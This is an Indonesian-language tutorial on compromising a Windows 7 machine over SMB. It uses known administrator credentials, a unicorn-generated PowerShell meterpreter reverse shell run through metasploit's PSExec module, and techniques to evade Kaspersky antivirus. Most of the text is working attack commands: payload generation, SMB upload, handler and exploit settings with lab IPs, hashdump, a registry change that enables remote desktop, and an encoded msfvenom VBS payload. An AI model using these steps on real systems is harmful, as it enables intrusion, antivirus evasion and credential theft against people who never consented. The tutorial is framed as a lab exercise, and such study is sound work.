Exploit PSExec dan Bypass Anti Virus

Daftar Isi

  1. Latar Belakang
  2. Exploitasi
  3. Selanjutnya

Latar Belakang

Terkadang kita menemui situasi dimana password atau hash administrator suatu system telah diketahui namun layanan interaktif seperti remote desktop tidak tersedia sehingga membatasi kita untuk mengambil-alih system tersebut secara penuh. Ketidaktersediaan layanan interaktif ini bisa saja disebabkan oleh firewall yang memblokir port 3389 atau layanan tersebut memang sengaja tidak diaktifkan. Sebagai ilustrasi, berikut hasil nmap atas target yang ingin kita ambil-alih dimana target tersebut hanya memberikan layanan Server Message Block (SMB berjalan di TCP port 139 dan 445) atau lebih dikenal dengan FILE SHARING. Selain itu target membuka beberapa layanan terkait dengan RPC dan koneksi ke active directory.

alt text

Situasi menjadi lebih menantang saat diketahui bahwa Antivirus berjalan dengan sempurna di system tersebut dan mampu menyapu bersih hampir seluruh ShellCode dalam bentuk EXE (Kode yang dapat memberikan kita akses ke command prompt) yang diupload.

Untuk menghadapi situasi diatas, kita akan membuat membuat shellcode dalam format powershell agar sulit dideteksi oleh antivirus dan kemudian menggunakan PSExec untuk mengeksekusi shellcode tersebut. Setelah mendapatkan shell, kita akan mencoba mengaktifkan layanan remote desktop agar kita bisa masuk ke system tersebut secara interaktif.

Singkat kata, exploitasi akan dilakukan menggunakan PSExec dan memanfaatkan powershell sebagai payload yang membawa shellcode agar tidak terdeteksi oleh Anti Virus

Sekilas mengenai PSExec

PSExec merupakan salah satu utility(tools) Microsoft Windows yang dapat digunakan untuk mengeksekusi suatu perintah atau proses di System secara jarak jauh (remote). PSExec ini dibuat oleh Mark Russinovich sebagai bagian dari kumpulan utility administratif bernama Sysinternal yang disediakan oleh Microsoft di http://technet.microsoft.com/en-us/sysinternals/bb842062.

Agar PSExec dapat berjalan dengan baik, layanan Server Message Block (SMB) dan File Sharing harus aktif dan user yang menjalankan utility ini memiliki hak akses penuh ke share ADMIN$.

Cara kerja PSExec cukup sederhana yaitu dengan meng-upload “Windows Service Image” yang telah disimpan dalam file PSExec.EXE ke share ADMIN$. Setelah itu PSExec menggunakan interface DCE/RPC melalui Server Message Block (SMB) untuk mengakses API Windows Service Control Manager (SCM) dan kemudian mengaktifkan layanan PSExec di system remote tersebut. Layanan PSExec yang telah aktif akan membuat “named pipe” yang kemudian dapat dimanfaatkan untuk mengirim suatu perintah ke system tersebut. Dalam hal ini kita akan memerintahkan system untuk mengeksekusi shellcode powershell yang telah kita upload ke system melalui File Sharring.

Dalam tutorial ini, kita akan menggunakan PSExec yang telah disediakan oleh metasploit framework

Powershell ShellCode

ShellCode merupakan program kecil yang dapat memberikan kita akses interaktif ke system berupa command prompt. ShellCode ini akan kita buat dalam format script powershell agar tidak terdeteksi oleh Antivirus. Kenapa tidak terdeteksi? Selain sulit bagi Antivirus untuk mengklasifikasi bahaya atau tidaknya suatu script, kita akan menginjeksi ShellCode tersebut langsung ke memory. Untuk melakukan ini, kita akan menggunakan python script bernama unicorn yang dibuat oleh trustedsec.

Exploitasi:

Target eksploitasi kita kali ini adalah Micrsoft Windows 7 yang diproteksi oleh Antivirus Kaspersky Internet Security terkini. Kita akan menggunakan PSExec yang tersedia di metasploit framework sebagai eksekutor Shellcode Powershell dan kemudian memanfaatkan meterpreter multi handler untuk menerima koneksi shell yang diinisiasi oleh target.

Sebelum kita mulai, berikut Informasi IP target dan komputer yang saya gunakan:

Sistem Sistem Operasi Alamat IP
Target yang diserang Windows 7 172.16.192.134
Penyerang Kali Linux 172.16.192.131

Berikut proses exploitasi yang akan kita lakukan

alt text

i.Buat Shellcode dengan format Powershell

Kita akan menggunakan python script bernama unicorn yang dibuat oleh trustedsec. Script ini dapat mengubah shellcode yang tersedia di metasploit ke format powershell dan dapat berjalan langsung dari memory saat dieksekusi. Script ini bisa didownload di repo github https://github.com/trustedsec/unicorn

Jenis shellcode yang akan kita buat adalah “meterpreter” yaitu command shell canggih yang disediakan oleh metasploit framework. Koneksi meterpreter akan diinisiasi oleh target (reverse connection) karena kita ingin bypass firewall yang biasanya membatasai koneksi incoming ke mesin target. Biasanya firewall memperbolehkan target untuk memulai komunikasi keluar dengan port berapapun.

Ikuti langkah berikut untuk membuat shellcode menggunakan Unicorn

1.Ketik perintah dibawah ini untuk membuat “meterpreter reverse shell” ke IP komputer attacker (dalam hal ini komputer kali linux saya) dengan port 4444

python unicorn.py windows/meterpreter/reverse_tcp 172.16.192.131 4444

alt text

2.Rename “powershell_attack.txt” ke mypowershell.bat

mv powershell_attack.txt mypowershell.bat

alt text

ii.Upload Shellcode

Kita akan upload Shellcode diatas melalui Server Message Block atau File Sharing dari kali linux ke target. Ikuti langkah berikut ini.

1.Gunakan smbclient untuk membuat koneksi SMB ke mesin target menggunakan password administrator yang telah kita temukan

smbclient \\\\172.16.192.134\\c$ -U administrator

alt text

2.Upload powershell.bat

put mypowershell.bat

alt text

iii.Siapkan Reverse Meterpreter Handler

“Reverse meterpreter handler” adalah salah satu module metasploit framework yang berfungsi menerima koneksi yang diinisiasi oleh meterpreter target. Seperti pembahasan sebelumnya, kita menggunakan reverse meterpreter shellcode agar firewall yang berjalan di mesin target tidak memblokir koneksi command shell ini. Untuk itu kita perlu memasang hadler untuk menyambut kedatangan koneksi dari meterpreter yang akan dieksekusi oleh target.

Ikuti langkah berikut

1.Jalankan layanan postgresql dan metasploit framework di kali linux (mesin attacker) apabila belum dijalankan

service postgresql start
service metasploit start

alt text

2.Buka metasploit console

msfconsole

alt text

3.Gunakan multi handler dengan mengetik perintah berikut di msf console

use exploit/multi/handler

alt text

4.Set PAYLOAD dengan reverse meterpreter dan kemudian set LHOST (atau local host) dengan alamat IP kali linux kita (mesin attacker)

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.192.131

alt text

5.Sebelum dieksekusi, pastikan option telah diisi dengan benar

show options

6.Jalankan handler

exploit

alt text

iv.Eksekusi Shellcode dengan PSExec metasploit

Kita akan menggunakan PSExec yang telah disediakan oleh metasploit untuk mengeksekusi shellcode yang telah kita upload sebelumnya menggunakan SMB. Executable PSExec yang disediakan oleh microsoft juga dapat digunakan untuk melakukan ini namun hal itu harus dijalankan menggunakan windows atau wine.

Ikuti langkah berikut:

1.Buka terminal baru di kali linux

2.Dari terminal baru ini, jalankan kembali msfconsole. Msfconsole ini tidak akan bentrok dengan yang telah kita buka di terminal sebelumnya

3.Gunakan module PSExec command

use auxiliary/admin/smb/psexec_command

4.Set command untuk mengeksekusi Shellcode yang telah kita upload sebelumnya

set COMMAND c:\\mypowershell.bat

5.Set username dan password administaror yang akan kita gunakan untuk berkomunikasi dengan mesin target.

set SMBUser administrator
set SMBPass password

6.Set IP remote host atau target yang ingin kita attack

set RHOSTS 172.16.192.134

7.Pastikan seluruh option telah diisi dengan benar

show options

alt text

8.Jalankan module

run

9.Buka terminal pertama dan booommmm!!!! kita dapat shell meterpreter tanpa diblokir oleh kaspersky AntiVirus.

alt text

Keindahaan mendapatkan akses melalui meterpreter adalah luasnya jangkauan Informasi yang dapat kita peroleh dari target. Misalnya, kita bisa melakukan hashdump atau membaca seluruh password hash milik user yang ada di target. Informasi hash ini bisa kita crack untuk mendapatkan password yang dapat dibaca atau bisa kita gunakan untuk mengakses sistem lain dengan metode pass-the-hash. Berikut hasil hashdump dari target kita

alt text

7.Lakukan percobaan dengan menggunakan module exploit PSExec dan kemudian memasang reverse meterpreter sebagai PAYLOAD untuk melihat perbedaannya. Bisa dipastikan dengan cara ini, exploit akan gagal karena kaspersky akan memblokir executable yang dikirim oleh PSExec. Bagi yang ingin coba, silahkan gunakan perintah berikut di msfconsole dan kemudian perhatikan pesan yang muncul dari Antivirus.

use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 172.16.192.134
set LHOST 172.16.192.131
set SMBUser administrator
set SMBPass password

exploit

v.Aktifkan Remote Desktop

Setelah kita berhasil mendapatkan meterpreter dari target, langkah selanjutnya adalah mengaktifkan layanan remote desktop agar kita bisa login ke target secara interaktif. Ikuti proses berikut:

1.Masuk ke command shell target dari meterpreter dengan mengetik perintah shell

shell

2.Tambahkan registry key berikut melalui command prompt target

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

alt text

3.Scan port 3389 untuk memastikan remote desktop telah aktif. Sebelumnya port tidak aktif saat kita lakukan nmap pertama kalinya

alt text

4.Akses remote desktop

rdesktop -u administrator -p password 172.16.192.134

alt text

Selanjutnya

Coba eksperimen membuat Shellcode dari vbscript untuk melihat apakah antivirus bisa mendeteksi dan memblokir shellcode ini saat dieksekusi oleh PSExec. Untuk membuat shellcode dalam format vbscript, jalankan perintah berikut di kali linux terminal

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.192.131 -e x86/shikata_ga_nai -i 5 -f vbs >harry.vbs

Setelah itu, upload file vbs nya menggunakan smbclient yang telah dijelaskan sebelumnya.

Hasil yang saya dapatkan adalah kaspersky berhasil mengidentifikasi file ini sebagai trojan dan langsung menghapusnya sehingga PSExec tidak berhasil mengeksekusinya secara penuh.

Selamat mencoba dan semoga tutorial ini bermanfaat